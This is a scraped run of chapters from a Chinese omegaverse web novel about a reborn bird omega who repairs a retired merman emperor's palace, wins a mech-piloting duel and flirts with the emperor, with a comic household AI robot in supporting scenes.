AI挂断通讯,有些摸不着头脑:“主人的心情怎么瞬间就变好,真是见鬼了。” · AI带着白翎去它所谓的“家”拿电池。 白翎知道,有些高级嫔妃是有资格养机械管家的,所以他并不奇怪有AI跑来跑去。 但当他们坐上电梯,直达高层,白翎逐渐察觉出不对味来。 据他所知,顶层之上属于禁区,并没有嫔妃居住。难道……这是传说中的冷宫? 越往里走,他就越笃定。 跨过一道封闭厚重的电子门,门厅装饰典雅,处处透着旧时代的航海风格——但从脱落的墙皮看得出来,装修上了年头,甚至有些失修。 蓝绿色墙壁上,挂着小鸟指南针,下面是仿船头形状的木质角柜,都带着 5. 好大好多汁 《人鱼陛下是战利品》全本免费阅读 “今晚还征用腹肌吗?” 这话既是挑明身份,又是逗引打趣儿。 白翎下意识摸了摸口袋,脱口而出:“今天没带饼干。” 这意思是——如果有饼干的话,还想再来一次。郁沉听着,不觉地笑了一笑,真是胆大的鸟儿。 另一边,AI管家倒吸一口冷却液。它就说,主人之前从哪弄来的廉价饼干。竟然是这个…… 这个小鸟牌家用机器人的推销手段! 主人都收人家饼干了,还邀请摸腹肌,按照人类世界的思维,四舍五入那就是暗示,是想要。 AI摄像头闪过一道光。主人,包在我身上了。 它一个滑行,拽着白翎躲到外面。门关上,它神神秘秘地说:“兄弟,原来你是干这种工作的,早说啊。我们主人挺……欣赏你,我想问一下你的基本信息,可以不?” 白翎一愣:“什么样的信息?” AI掰着钳子算:“身上有没有合约?使用次数?年限?” 一般来说,家用性机器人会由公司派出,但也有仿生人自己出来单干的。 后者这类,通常外观更精美,功能更丰富,当然要价也更高。毕竟漂亮的脸蛋和软质填充材料都价格不菲,成本要高许多的。 再看面前,这只“仿生人”容貌冷冽清艳,白毛灰眸的配色,给人一种高级的无机质感。看脸,应该出自于哪位业界设计大师之手,相当漂亮。 只不过,他的身体有严重缺陷—— 右腿从膝盖上5厘米处整齐截断。这么严重的损坏,居然没有进行修补,只装了义肢了事,看起来倒像是受了虐待跑出来的私人用品。 如果他有合约在身,主人就不能租用他。 所以,得打听清楚。 “合约?”白翎想了想,自己还没去机甲社团报道,“目前还是自由身。” 至于使用次数和年限……机器人想问的,应该是繁殖次数和年龄吧? 他还处于一段分化期,尚未进入二段,次数显然为0。 转过思绪,白翎使用了一种机械能听懂的说法: “‘年限’是19岁,使用次数,应该算‘没拆封’。你问这个,是想了解清楚然后找我帮忙吗?” 白翎并不觉得这些问题奇怪。 前世他专干二手航母回收与维修,经常和一些不够智能的小机器人打交道。那些人工智障的问题,更加没头没脑。所以,他自然而然就想到,对方是不是想找自己帮忙维修之类的。 AI神神秘秘压低声:“没错~帮你推广业务,你懂的。” 白翎点头,他懂了——真是要找他维修。 转眸看到走廊,贵气倒是挺贵气,就是灯光昏暗,电线裸露,一看就是年久失修的样子。再联想到里面那具精干且完全不符合暴君审美的躯体,他合理得出结论: 原来是被废的宠妃,想找我拧个灯泡。 等等……这剧情怎么有点怪异? 简直像趁着暴君不在,偷偷摸摸泡他的omega一样。 想到这,白翎反而犹豫了。他初来乍到,又顶着假身份行走,这么节外生枝恐怕会招来事端。 总是,还是先拒绝吧。 正要开口,AI忽然看了眼消息,惊讶地说:“诶,主人说,想邀请你留下来吃饭。” 一说吃饭,白翎立即响应程序,“什么饭?” AI字正腔圆,带着迷之微笑:“肉。” · 听说要吃肉,白翎其实没抱太大希望。 这些年,在暴君凯德不懈的努力下,帝国通货膨胀履创新高,一路奋起直追津巴布韦币。物价飞涨下,寻常人家想吃个瓜果蔬菜,都得掂量掂量存款。至于新鲜肉类,更是想都别想。 所以,白翎估摸着,男人能请他吃的“肉”,肯定是人造肉。 不过有就不错了。 此刻,花纹典雅的桌布上叠放着绣金盘子,里面端放着一块厚厚的肉排。美拉德反应让它呈现出完美的焦褐色。 白翎切一小块放进嘴里,入口的瞬间,肉汁在牙尖疯涌爆开,迷迭香和油脂的乳香肆意流淌,似乎在得意宣告—— 它是新鲜的,是真的肉,绝不是用淀粉充的人造肉。 狼吞虎咽地吞下去,才是对它最大的尊重! 反应过来时,盘子里的牛排已经去了大半。白翎默默垂下眼,强忍着食欲强迫自己放下叉子。 不能再吃了。好东西,得留起来慢慢吃。 这是他从小养成的习惯。 偷瞄一眼座首的男人,知道对方看不见,白翎不动声色将肉裹紧餐布,悄悄塞进口袋,准备带走。 欧式胡桃木长桌上,郁沉听到轻微的衣料摩擦声,小omega的呼吸声,莫名变得谨慎且轻。他便稍微倾身,礼貌地问: “还合胃口吗?” 他不知道,自己珍珠色真丝衬衣领口微敞,这个角度,能让白翎看光光。 白翎下意识答:“好大。” 胸肌。 郁沉意外地扬起眉毛,“嗯?” 白翎:“……” 白翎强调:“牛肉又大又多汁,谢谢您的款待。” 一连串机械而快速的回答,成功达到欲盖拟彰的效果。郁沉从容端起酒杯,轻抿一口,不经意地说: “不用谢。话说,那块饼干是你一周的口粮吧。” 暴君好细腰,皇宫里不给吃饱饭——这早就不是什么新闻。 有家人关照的,都会从外面弄吃的进来。只有无人照拂的孤儿,才会穷困地啃着干巴巴的压缩饼干。 白翎抿紧了唇,没有立即回答。 他不愿意承认,这是他重生以来吃的第一顿饱饭。甚至如果算上前世最后一段潦倒时日,这应该是他三年来第一次吃到牛肉。 对骨瘦嶙峋的猛禽来说,实在是雪中送炭。 但或许是自尊心作祟,他表面淡定地撒谎: “一周的口粮,倒是谈不上,零食罢了。我刚来帝都星,家人还没来探望,等过段时间父母不忙了,就会送食物给我。” 听到这里,郁沉不置可否,只是露出趣味的笑容:“你是哪一族的小鸟?” 白翎:“大山雀亚种,黑背白腹毛,住在科罗星,人类形态发色是白色。” 大山雀主食吃虫,也会捕食小麻雀,和吃肉的属性并不矛盾。 这回答滴水不漏。 郁沉低笑:“柔弱断腿的羽毛球,也想刺杀伊苏帕莱索?” 柔弱,羽毛球,每个词都带着轻视。 话音刚落,郁沉感觉靠着的椅背被猛得一拽,下一秒长腿跨坐上来。他喉结一凉,雪亮的餐刀已经比在喉间,刀面微斜,映出一双严酷冰冷的灰眼。 “这样够吗?”白翎声线寒冷。 郁沉顺着他的手劲,微微昂脖子,声调依旧淡雅:“‘大山雀’,我怎么没听说,你们这种小雀的攻击性,比鹰还强?” 白翎危险眯起眼,正要问对方到底想干嘛,却瞬间顿住。 这男人,竟然把喉咙前的尖刀视若无物,压着刀刃,寸寸前倾身体,以至逼得坐在他腿上的白翎,不得不被迫后撤。 白翎本想用姿势钳制他,却被他倒逼回来。 如雕塑般的象牙色脖颈间,压出一条细细血线。那颜色鲜红堪比魔鬼的舌尖,隔着距离,舔舐得人眼球湿烫。 郁沉神态自若,白翎逐渐呼吸紧张。那是一种被主动进攻,反被顶级掠食者越级碾压的窒息感。 嶙峋的指骨原本扣紧餐刀,现在却不自觉地指尖微抖。 他下不去手。 灿海波涛般的金发呼吸可触,被自己吻过的脸颊也近在咫尺,白翎气息微乱,完全未意识到自己吸入多少信息素。他紧绷地往后一退,后腰骤然重重撞在桌沿,痛! “啊……”白翎瞬间痛得弓起身子。 他下意识去摸,一只修长的大手却接管了他的后腰。先是试探轻柔,再收紧手臂往前一带,随着动作,白翎怔愕地撞进那片柔软金海,扑在他的肩膀—— 一下子从呼吸艰难的地狱,坠入温柔天堂。 “撒谎的小骗子。”那低音贴着耳廓震动,让人心都跟着颤起。 白翎咬着牙,冷声,“我没有撒谎。” “没有?” 发丝撩过白翎脸颊,心跳无端快了几分。男人低身在他口袋摸了摸,掏出什么,反手往餐盘里一扔,问他: “没有,那这是什么?” 半块牛肉滚落而出,狼狈蜷在盘子角落,仿佛被一则犯罪证据。 郁沉缓慢问:“这就是你流浪时学的陋习吗?” 居高临下,带着淡淡的谴责。 陋习。 比起曾经听过的无数肮脏鄙夷,这两个字根本无关痛痒。可由这个刚才还施展善意的人说出口,白翎的心脏,控制不住地深深刺痛一下。 奋力 6. 主人的命令 《人鱼陛下是战利品》全本免费阅读 吃了重生以来第一顿饱饭,白翎回到宿舍,难得睡了几天好觉。早起时伸个懒腰,感觉精力都恢复许多。 果然还是吃肉有力量。 诺思眼睛毒:“又去找你的金发大波浪朋友了吗?” 白翎边刷牙边含糊:“唔。” 诺思若有所思:“金发O,看起来血统很高贵啊,对方是什么种族?” 种族?白翎这个倒是没问。他只知道,对方多半是个住在冷宫里的妃嫔,看起来二十七八岁的样子。 至于为什么笃定对方是O——当然是因为,禁制环没有响。要是对方是A装O,几次三番带着邪念来抱他,那报警器绝对哔哔哔响个不停了。 诺思听完解释,却微妙道:“可这是皇宫诶,鸟鸟,普通A确实戴着禁制环,但法律规定,皇帝可以不用戴的。” 白翎毫不在意:“我认得暴君,他不是金发。” 诺思内心:……我也没说一定就是现任哦。比如,前朝的人鱼皇室就是清一色的金发,你见到的说不定是老皇帝……的鬼魂呢。 当然,这种胡思乱想说了也没人信。 诺思看着他洗漱完毕,特意换上最好的那件衬衣,准备出门。诺思奇道: “今天周六,又不用上O德课,你去哪哇?” “帮朋友修东西。” 皇宫塔顶层,移门滑开,小机器人高兴地出来迎接,一边接过白翎从杂物间顺的小工具箱,一边镜头切换成两道小彩虹: “你今天来得好早。” 白翎笑了下,摸摸它的铁疙瘩脑袋。 AI便带着他在宫殿里转了转。它悄悄转动摄像头,观察着机械小鸟,自从前几天来这里换上电池后,小鸟走路终于利索许多,不再走两步歪一下,连带着脊背也挺了。 “这里还挺大?”白翎探头探脑看着,转过一个房间,进到另一道走廊,顺着木质的环形楼梯一路往上。阳光从窗格撒进来,照得他脚踝暖暖的。 木梯,木踢脚线,木柜子和窗门……或许有些过时,却给人一种温温沉沉的条理感。角落放着整套的模拟星球仪,窗下有一则细脚桌,上面摆着一些陶瓷烧制的花草动物,小玩意不贵,贵在主人的情趣。 白翎伸手想按亮水晶灯,却耳边一炸,听到“噗嗤”一声响。 ……电线烧断。 AI见怪不怪:“这是第六盏了。” 白翎轻轻叹了声气,果然,设施老化的问题随处可见,机电装置甚至是上个世纪的老古董。 难怪这对主仆困扰,这些玩意早就没人会修了。 但他恰好会。 白翎边走边把检查到的问题一一写进列表。恍然间,居然找回了几分上辈子日常检修星间航母的感觉。 转完一圈后,这种感觉更加强烈,仔细一想,好像各个房间里都没有智能化的家用电器。 对此,小机器人解释道: “这个啊,因为主人需要静养,不喜欢听到乱七八糟的电磁声。” 白翎心口一跳:“他生病了?很严重吗?” 怪不得今天没见到人。 AI点头:“和我们机械的线路老化差不多,算是老毛病了,严重的时候经常会昏迷好几天呢。” 病得这么重吗……怪不得上次被他挟持,都无力反抗。 白翎低眸抿了抿唇,没有说话。 AI观察出他脸上的担忧,连忙安慰:“但他平时运动量很够的哦,不会半途抛锚的。” 白翎:“半途?” AI顺势热情提供机会:“主人在卧室睡觉,你要不要去看看?” “……还是不了。”白翎犹豫半晌,说道:“请他好好休息吧,我隔日再来。” 白翎正准备离开,扫地机器人却把他叫到厨房,把早就准备好的牛肉干塞过来。 “这是主人的命令。他还说,”AI专门模仿了一下郁沉的语气,把音效调成环绕式低音: “要好好吃光。” 白翎愣了愣,抿直了唇,试图藏起嘴角的弧度。 他有点喜欢这样的小命令。 白翎收起牛肉干,余光一顿,转头看向旁边的纸箱,里面有一条铂灰色的西裤——是那天被他义肢机油弄脏的裤子。 褐黄色污渍蜿蜒而下,显然是洗不干净了。 AI顺着他目光看去:“噢,那是等会要扔掉的垃圾。” 白翎果断走过去,把西裤抱在怀里:“能把这个给我吗?” AI下意识想提醒,omega过度接触主人那种级别的信息素,会被刺激到下蛋的。但它转过cpu来,想起对方只是仿生omega,就爽快答应: “送你了。” 与此同时,在卧室自带的书房里,传出终端通讯的对话声。 其中一道显得尤为恭敬:“日安,YourMajesty。” “乌利尔,有件东西需要你送过来。” 即使隔着网线,乌利尔仍然手持着终端,保持躬身行礼:“请您吩咐。” “我需要一条光标脚镣。”缓慢且斟酌地说。 “脚镣?”乌利尔惊讶地重复,还以为自己听错了。 光标脚镣又称电击脚链,不同于显示身份id,规避AO接触的官方禁制手环,它内置30毫安电流,通常用来控制狂暴失去理智的alpha。 在上世纪,伊苏帕莱索统治时期,易感期内的alpha均被强制要求佩戴脚镣,以免对omega造成标记伤害。 但是随着近十年来新帝国对alpha主导地位的强调,早就没有人愿意戴上脚镣,约束自我了。 乌利尔小心翼翼地猜测:“是不是……您的情况又恶化了?” 郁沉手指轻敲桌面:“与那个无关。” 乌利尔试探问:“那为什么……?” 电话里忽然停下了敲指声,乌利尔的心瞬间悬起,可那边却轻笑了声,说道: “有个分化期的小朋友要来做客。” 乌利尔缓缓呼出气,恢复了平时的口吻: “小朋友?您这是终于碰上可口的食物了吗?可喜可贺!他长什么样?是什么血统?啊啊对不住我不该打听皇叔的隐私,咳咳,其实,我刚好也有好消息想告诉您!关于我们的生产线——” 郁沉变换坐姿,露出一点兴趣:“有进展?” “没错!我们找到了新的实验员。不出意外,他今天就会来面试。” · 其实对于小白毛会不会来,乌利尔心里也没把握。毕竟对方当时只是接下名片,又答应周六会去机甲公会看看。 但他有种直觉,小白鸟应该会去。 原因无它——穷。 关于这点,乌利尔还真料中了。晌午,白翎捏着维修单,一边咬着笔盖,一边拧紧眉毛。 按他的估算,光是更换老化的电线,就至少得5000星币。而这笔钱,银行账号被封的他是绝对出不起的。 当然,他可以伸手找大波浪要。但人家都请他吃饭了,自己哪有又吃又拿的道理。还是他出吧。 想到这里,白翎翻出那张被雨淋过的名片。 周末的机甲公会人头攒动,颇有劳务市场的感觉。 实际上,在水禽帝国,开机甲就是一种类似于古早地球“大货车驾驶员”的工作。只不过这路上跑的,换成了天上飞的。 公会里的各大社团也相当于劳务派遣公司,对内训练员工,对外承接各类工作,有且不限于填海造陆,桥梁工程建造,商船护送,私人保镖…… 当然,搞工程建造的一般是低级社团,在3星以下。而商船护送和保镖之类的只能由资质高的4星5星社团承接,以保证雇主的生命安全。 众人纷纷抬头,兴奋地仰望着密密麻麻的招聘启事,想求得入门的机会。 “今天有不少三星社团在招人呢!” 7. 带劲的实验品 《人鱼陛下是战利品》全本免费阅读 陆鲟简直想笑,那坨垃圾是以前的公用练习机,型号老,破损多,扔在那里都没人想上,跟他的机甲比起来,那就是老爷车碰瓷法拉利——纯纯的找死。 不仅如此,白翎还要了全套护甲,一步一步按照操作手册上的步骤穿好,连扣带方式都标准得一丝不差。 破案了……原来是个小白啊。 众人都笑了,这明显就是个刚入门的新手。 他们老手根本没人会注意这种小节。 白翎却不以为意。 上辈子他学到最重要的一件事,就是一定要尽可能减少磨损,延长自我使用寿命——所以哪怕被下过三次病危通知书,他仍旧能撑着意志力上战场。 进入驾驶舱,电源灯亮起,屏幕显示欢迎语:Weeback,mymaster! 白翎抚摸着操作台,仿佛情人间的低喃: “好久不见,老伙计。助我一臂之力吧。” 在众人的惊呼声中,报废机甲仿佛绝症病人回光返照,匪夷所思地站了起来。而人群中,一名黑发美女目光犀利,也目不转睛盯着现场。 哨声响起,比赛一触即发! 赛制很简单,谁先倒地就是输家。 很久之后,当亲历者回忆起这场临时起意的决斗,还是会忍不住感叹: “快,太快了。” 快的不仅是白翎一个大跳回身袭击的猛烈,还有陆公子丢脸的速度。 陆鲟躺在地上望天,还没反应过来自己为什么呈现大字型,机甲外壳就被重重踩上。与此同时,通讯里响起冷冽音质: “服吗?” 明明被踩在脚下,陆鲟听着那清冷傲气的声音,却莫名其妙得红了脸,有种被羽毛强悍的雌性鹰隼征服的感觉。 “有……有点刺激。” “嗯?”白翎眯起眼。 “啊不不不不,我服,我是想说服了!”陆鲟跪得很干脆。 愿赌服输,佣兵圈的规矩就是这样的。 白翎点点头,淡冷说:“知道就好。” 这时,身后忽然响起一道愉悦的女声:“你没有自己的机甲吗?加入我们的社团,免费送你一架。” 白翎转过身,第一眼就看到了黑发美女胸前的标识。这位女性,应该是五星社团的导师。 他回答:“那得看你开什么条件了。” 周围人都快气笑了,导师安娜亲自递来橄榄枝,你还提什么条件啊,快点答应。 安娜笑了笑:“你先提,我看能不能满足。” 白翎思考之后说:“送我机甲可以,但我要去机库亲自挑,不接受分配。” 这话由一个新人说出来,实在太过自大。但出乎意料,一向严厉的安娜这次点了头: “可以。不过,如果你和机甲的同步率低于60%,我也有权利拒绝你。” 白翎应得干脆:“可以。” 众人:……喂,你是不是自信过头了?社团机甲和公用训练机可不一样,想开机就60%,你个新人还差得远呢! · 带着看戏的心情,众人跟着安娜来到“鸦雀有声”的专用机库。 “仓库里这些,你可以随便选。。” 白翎转头问:“随便哪台都行?” 安娜点点头,“没错”,反正除了某一台,其他都是社团的标准机。 白翎伸手一指:“我要那台。” 大家顺着方向看去,先是一愣,接着全部挤眉弄眼地发出偷笑。 原因无它,因为这台“响尾蛇”是社团机库里出了名的贞洁烈机。 它原本是军工厂商送来的试验机,谁能驯服它,谁就能和机甲实验室签约,成为无比光荣的“0号机试飞员”。 但天下哪有容易的午餐。 响尾蛇配备了最新的人工智能系统,脾气孤高凶烈,别人都是挑机甲,它身为机甲,却要挑主人,一个不开心就把人从驾驶室甩下来摔成骨折。 所以放在这里大半年,都落灰了,众人也只能含恨远观。 “他在搞什么鬼?” 在一群人奇怪的目光中,白翎拎着水桶回来,爬上机甲,用新拆封的抹布仔仔细细擦走玻璃上的陈年灰尘,再用保养蜡打一遍漆,深空灰的外壳顿时变得光可鉴人。 最后,他用宣传单折了两朵小雏菊,贴在驾驶舱的外窗口。 响尾蛇剧烈地摇晃两下,众人内心幸灾乐祸。 来了来了!让你多此一举,响尾蛇肯定要把你脑浆子晃匀,甩得半身不遂! 可正在这时,一道清脆的声音从扬声器传出: “麻烦帮我把花拿进驾驶舱里。” 竟然是响尾蛇在说话! 响尾蛇主动和人搭话,这可是从来没发生过的事。 白翎随意用手臂拭去薄汗,戴上手套,摸摸响尾蛇的尾翼。 他冷灰色的眼底泛起一抹柔和,弯起唇角: “还是个爱漂亮的小姑娘啊。” 众人悔得肠子都青了,早知道动动手指打扫一下卫生,就能提升机甲好感,他们还不早把响尾蛇拿下了。 但现在后悔也没用,只能眼睁睁看着白翎登上起落梯,稳稳当当地坐上他们梦寐以求的驾驶位。 “哼,登入驾驶舱不算什么,能通过同步率认定才算本事。” 全团最强之一的副团长,也曾通过响尾蛇的初步认证,但还不是卡在神经同步率75%的大关,无法成功登入系统? 这个新人,总不能比驾龄三十年的副团还强吧。 所以当响尾蛇给出同步率数据时,大家纷纷露出“果不其然”的揶揄表情。 “21%……”安娜微微蹙眉,这个数据相当不好看,可以说是五星社团里史无前例的低。 一般来说,链接神经接口后,脑机同步率20%-40%,可以简单移动,走,跑,跳。 40%-60%,能够做复杂的动作,如翻身,躲闪,和基本飞行。 至于那些帅气的空中翻腾打击,流畅如飞鸟捕猎的连击技,都需要70%甚至80%以上的同步率,对驾驶员的身体素质是极大的考验。 安娜正想劝白翎放弃,换一台试试也不丢人。 话未出口,只见响尾蛇颤颤巍巍迈出一步,紧接着奇怪的事发生了。 这台性能野兽,竟然像刚学步的孩子,伸展着机臂维持平衡,迈着僵硬的步伐,歪歪扭扭地走。 走出仓库,才稍微流畅一些,蹦蹦跳跳了两下,惹得众人哈哈大笑。 可是没过几秒钟,响尾蛇仿佛突然开窍,小步跑了起来。它围着训练场转圈,时速5km,10km,40km……越跑越快,底轮在飞沙中急速滑动,伴随着引擎渐起的嘶鸣声,朝天卷起剧烈的风暴。 “轰隆——!” 瞬间,粗大的发动机尾喷出烈焰,尾焰燃烧的热量几乎擦着人脸轰过来,一道蓝紫色的流光划破夜景,带着摧枯拉朽般的破空呼啸,强悍又凶猛地撞进天空。 “卧槽啊!” 在一片惊叫声中,白翎堪比离弦的箭羽,在深蓝色海面迅猛掠过,海边训练的各种机甲被轰然惊起,如同被追逐捕猎的隼盯上的鸽群,惊恐得呼啦啦飞个干净。 天空中,响尾蛇展开漂亮的流线型机翼,在夜幕上划出一条笔直的线。 白翎瞭望着圆弧形的地平线,耳畔奏响悦耳的发动机声,一切都显得那么熟悉,和谐而愉快。 这是重生后的第一次,他自由地飞在天空中,俯瞰这片曾经养育过他的故土。 让他好想朝大地呼喊:我回来了! 片刻后,机甲安稳落地。众人在惊羡之余,内心也有疑问,安娜问道: “你刚才的同步率是21%。后来是怎么开上天的?” “21%?有么?”白翎摘下头盔,微微汗湿的发丝贴在秀致的额头,宛如太阳炙烤下的冰山,清艳冷冽。 一群alpha忍不住偷瞟,会开机甲的细腰美人,明明可以靠脸吃饭,却非要开机甲…… 生性慕强的佣兵们,可太喜欢这一款了。 白翎漂亮锋利的眼睛转了转,反手点开操作面板,把当前同步率放出来。 “八……八……87%?!” 围观群众都结巴了。 安娜一下子想起某些恐怖的传说。 据说有些天赋异禀的驾驶员,神经网络天生坚韧,能在短时间内适应任何型号的机甲,一边开一边匪夷所思地提高同步率,堪比神迹。 这只鸟崽子到底是从哪个机构出来的,简直是…… 让她捡了个大便宜! 必须要立即通知团长,签约独家驾驶员,用最高薪酬把他留下来!安娜正要准备去通报,却迎面撞上匆匆跑来的男人。 “乌利尔?你跑这么快干嘛。”安娜笑着问。 她和乌利尔算是老熟人了。毕竟,那台响尾蛇,就是乌利尔的工作室放在机库里的。 乌利尔擦汗,四处张望:“我来找我的小白鸟,刚发掘的驾驶员,找不着了。” “什么你的小白鸟?”安娜脱口而出,“那是我们鸟崽!” “什么鸟崽?”乌利尔一愣,匪夷所思地反应过来,“不是,他签你们团队去了?” “何止。”安娜抱着臂,得意地说,“他还开着你的响尾蛇上天了。” “哈?我正准备喊他去测试的……他,他都通过了?” “嗯,87%的同步率。” 乌利尔满脸不敢置信,老天……他给人家递名片,本来就存着让社团给走个后门的心思。谁想到那只鸟,非但没出示名片攀关系,还把他预定的加分考试,拿了个大满贯。 乌利尔脸色一严肃,坚称:“不,那是我的鸟崽!” 他俩在外面争得热火朝天,白翎在仓库里安安静静干着活——把沾上泥巴的响尾蛇整理干净,做好降温保养,极尽细致与呵护。 响尾蛇用英气少女的声音,疑惑地问他: “你好像对我的构造很熟悉?” 白翎似乎被问住了,他低着头拧了拧抹布,污水滴滴答答落进桶里,良久,缓和了声音说; “因为……你 8. 给我当皇后吧 《人鱼陛下是战利品》全本免费阅读 与此同时,乌利尔也拿到了白翎的体检数据。 游隼血统,敏捷度sss,截肢2个月……太好了,比他之前找的驾驶员还要适合他们的项目。 由于机甲的工程属性,许多平民家庭也会购入机甲,承接活计来养家糊口。 在这其中,70%的驾驶员都是鸟类血统。他们善于承受向下俯冲的超级重力,天生就是吃这碗饭的。 但开机甲危险性高,鸟类骨骼中空,一旦遇见事故很容易粉碎性骨折甚至截肢。而断肢再生费用高达上百万,根本不是工薪家庭能承担起的,因此,机甲圈有许多伤兵含泪隐退。 乌利尔身为机甲工程师,一直想开发一款能让残疾鸟们轻松操作的机甲。 然而前期投入高,实际购买市场却有限,这哪个厂商能愿意投资? 正当乌利尔走投无路之际,他那个位高权重的叔父忽然传讯,答应资助他。 乌利尔欣喜若狂,也小心翼翼问,为什么叔父愿意干赔本买卖。 人鱼在那边沉吟道: “我做了一个梦,梦到一位身体残疾的故人。细节记不太清,但他应该是去世了。” 乌利尔:“啊,是您现实中的朋友吗?” 人鱼笑了笑:“不,只是梦。” 只是做梦有感而发,就抬手砸下5000万星币的投资吗?旁人或许瞠目结舌,但乌利尔转念一想皇叔曾经当政时的善举,也就不奇怪了。 因为人鱼就是那样的君主。 一边铁血统治控制局势,一边眷顾弱势群体——仿佛戴着一正一反两幅面具,矛盾到极致,让人敬畏,恐惧,又忍不住受他控制。 乌利尔不敢忤逆他。即使人鱼已退位,但留在人们心底的威势还在。乌利尔此次也是恭恭敬敬,巨细靡遗报告进度: “您好,我们的实验驾驶员刚刚已经通过测试,他的飞控数据十分优秀,相信会给我们的项目添砖加瓦。” “不过,他有些营养不良,还有低血糖。可惜他不肯常驻基地,否则我们肯定要拎着他的翅膀,好好给他补一补。” 郁沉在办公桌前听着,问:“营养不良的alpha?” “他是omega。” “omega……”郁沉念着,不禁想到那只瘦得能摸到肋骨的鸟。 乌利尔以为他在酝酿不悦,赶紧解释:“因为现在暴君掌权,政府都不把omega当回事。不仅扣发配给的牛奶,还纵容alpha们犯罪。” “怎样的犯罪?”郁沉稍微倾身。 “纵容alpha监护人,对他们虐待和拒绝抚慰omega的行为,视而不见。” · 夜幕西垂,腥咸的海风把绵绵雾霭赶上陆地。广场上的灯光模糊不清,衬得行人影影绰绰。白翎坐在长椅上,抬头望着暗灰色雾景,恍惚觉得自己身在一场梦境。 从社团出来,他没有立即回皇宫。安娜允许他提前支取工资,他便买了维修宫殿的电线。 剩下200星币,他原本打算去旧货店淘一件二手外套,以应对大雪天。经过糖果店时,他却忍不住停下来,买了一小包老式牛奶糖。 数了数,只有20颗。 真是昏头了……白翎边暗骂自己奢侈,边小心翼翼地拆开奶糖包装。一阵风吹来,装得过满的帆布包往旁一歪,拉链口掉出一瓶药。 白翎很不情愿地捡起来。 那是林医生给他开的A性素。还嘱咐他,一定要每天按时服用。 白翎痛恨这药。因为药厂总是做得很大颗,他喉咙口紧窄,吞下去的时候总是会卡在那儿,害得他恶心干呕。 所以吃药的时候,他总是有点怵。 白翎决定速战速决,拧开盖子倒在手心,昂头吞了两颗。唔,噎死了…… 那股子苦味残留在喉咙,他赶紧剥一颗奶糖,像抓住救命稻草一样含住。 还是小时候的味道。 果然,冬天冷的时候,就是要吃点甜的。 雾气比刚才更浓,零散的行人已经消失,只剩下广场上几道模模糊糊的人影。 白翎知道他们在干什么。在翻垃圾桶,沿着主干道一个一个探着脑袋翻。 如果运气好,就可以捡到附近餐馆打烊时扔的剩菜。但现在是冬天,餐馆生意也不好做,大概率翻不到什么菜,只能饿着肚子回到流浪的帐篷里,用破棉絮把自己裹紧。 白翎望着那几道身影,有些出神。 没一会,其中一个无功而返的人就哭着咒骂起来,把酒瓶子投掷出去: “去你妈的帝国,去你妈的伊苏帕莱索!恶魔,害得我家破人亡,去死啊。” 那瓶子在空中划出一道弧线,狠狠砸在广场的雕塑上。 “他好像在指桑骂槐。”身后传来一道感慨声。 白翎立即站起,拉开一段距离。面前站着一个男人,他头戴着黑色破帽,胡子拉碴,明亮的蓝眼睛正望着他。 “你是beta?”白翎刚吃过A性素,不想惹上麻烦。 流浪汉点头:“很容易看出来吧,海洋垃圾,社会工蚁,我们beta都长着同一张精疲力竭的脸。” 这人口音标准,有一种饱经训练的腔调,且十分健谈: “那你呢?我猜你是个omega,虽然个头挺高,但是你满脸都是警惕,应该有过不少糟糕的经历。” 白翎也没否认,只是说:“在这个国家里,还有经历不糟糕的人吗?” 流浪汉哈哈大笑,转而问:“那么,你也相信那些话吗?” “什么话?” “人鱼先皇是个恶魔……他给孩子们的牛奶下毒,给学校发的牛奶糖里放老鼠药。还把反抗的alpha送去人造月球种土豆……这些话。” “听起来像是他会做的事,”白翎没什么表情地说,“至少我小时候在救助站,顿顿都能吃上新鲜土豆。” 一句话把先皇和现任都骂进去了。 “哈哈你可真会,我喜欢!” 流浪汉眼中多了些真诚。 “我刚来这里不久,桥洞党,流浪汉,随便你怎么称呼我。不过我还是有正经营生的,我在小公园的椅子上摆摊给人算塔罗牌。” 说着,他从口袋里抽出一套牌,用冻得青紫的手拨开,脸上却笑得惬意: “来吧,抽一张,算我请你的。这么冷的天,我更想请你喝杯杜松子酒,可经济情况不允许。” 白翎不想辜负他的热情,便抽起一张牌: 是个戴着珍珠项链和王冠的女人。 流浪汉拿回去,双眼微微睁大:“喔,正位皇后。” 白翎并不懂占卜,淡淡地笑:“预见我要当皇后吗?” 那恐怕不太准。 他前世一直是土匪革命军,当皇后是不可能的,掳走皇后还差不多。 “不不不,”流浪汉用播音腔宣布道:“Queen是一位温暖慷慨的母亲,说明你要迎接一段甜蜜丰厚的感情了。” 好熟悉的腔调……白翎觉得自己在哪听过这道嗓音。 流浪汉怕他不信,拍着胸脯保证:“虽然我才学了三天占卜,但我有预感,你会获得应有的幸福。” 应有的…… 白翎回想起自己颠沛流离,孤独一生的前世,对流浪汉的占卜结果置之一笑: “谢谢,希望如此。” 离开前,白翎把剩下的零钱都给了对方,并提醒道: “马上要下雪了,你最好凌晨三点起来,去富人区的垃圾场多抢几条被子。你可以睡在雕像脚下,那里有个死角,能挡风。” 流浪汉愕然在原地。 他说得认真而周详,仿佛亲身经历过流浪生活一般。 迎着寒冷的霜风,白翎紧了紧身上的薄外套,低着头逆风向前走。 这时,一道俯视的光抚过头顶,他下意识回头,发现那是雕塑女神的探照灯。 而在不远处,一个流浪汉脱下帽子,紧扣在胸前—— 正向他深深鞠躬。 · 钻回皇宫水道已近凌晨。白翎满身疲惫却仍不敢精神松懈,他害怕再遇上那个大尾巴水怪。 来到之前的出口,白翎使劲往上推了推盖子,居然是锁上的。他心底一惊,屏住呼吸立即掉转头,开始寻找其他出口。 波荡的黑暗里,隐约散射着一丝亮光。 白翎用力朝光的方向游去,随着光亮在视网膜里扩散得越来越广,他心情一松,突破水面就要大口呼吸—— “唔!” 被一只手捂住嘴,猛得拽过去。 白翎倏然睁大灰眸。捂嘴的那人极其过分,竟然把大拇指压在他舌苔上,剩余四指扣紧下颚——这是战俘营里的玩法,让人只能呼吸,却发不出半点声音。 该死,是谁! 白翎被拇指粗暴塞嘴,舌苔颤抖,尝到了宝石扳指上冰冷的贵金属味。他挣扎着抬头,却瞬间愣了一下。 ……大金毛? 郁沉边挟制着鸟,边语调慵懒地与外面的人对话: “……我很惊讶,克里斯托弗,这么晚了还来拜见我,希望你不是碰上了麻烦。” 克里斯托弗? 这是暴君的小名! 白翎想从池子里伸头看,被郁沉一把按回去。外面站着的克里斯托弗·凯德听到动静,怀疑地问: 9. 沦为小点心 《人鱼陛下是战利品》全本免费阅读 郁沉笑了一声,抓住关键词:“王太后?” 白翎俯视他:“你是老皇帝的遗孀,不是吗?” “是什么让你做出这种判断?” 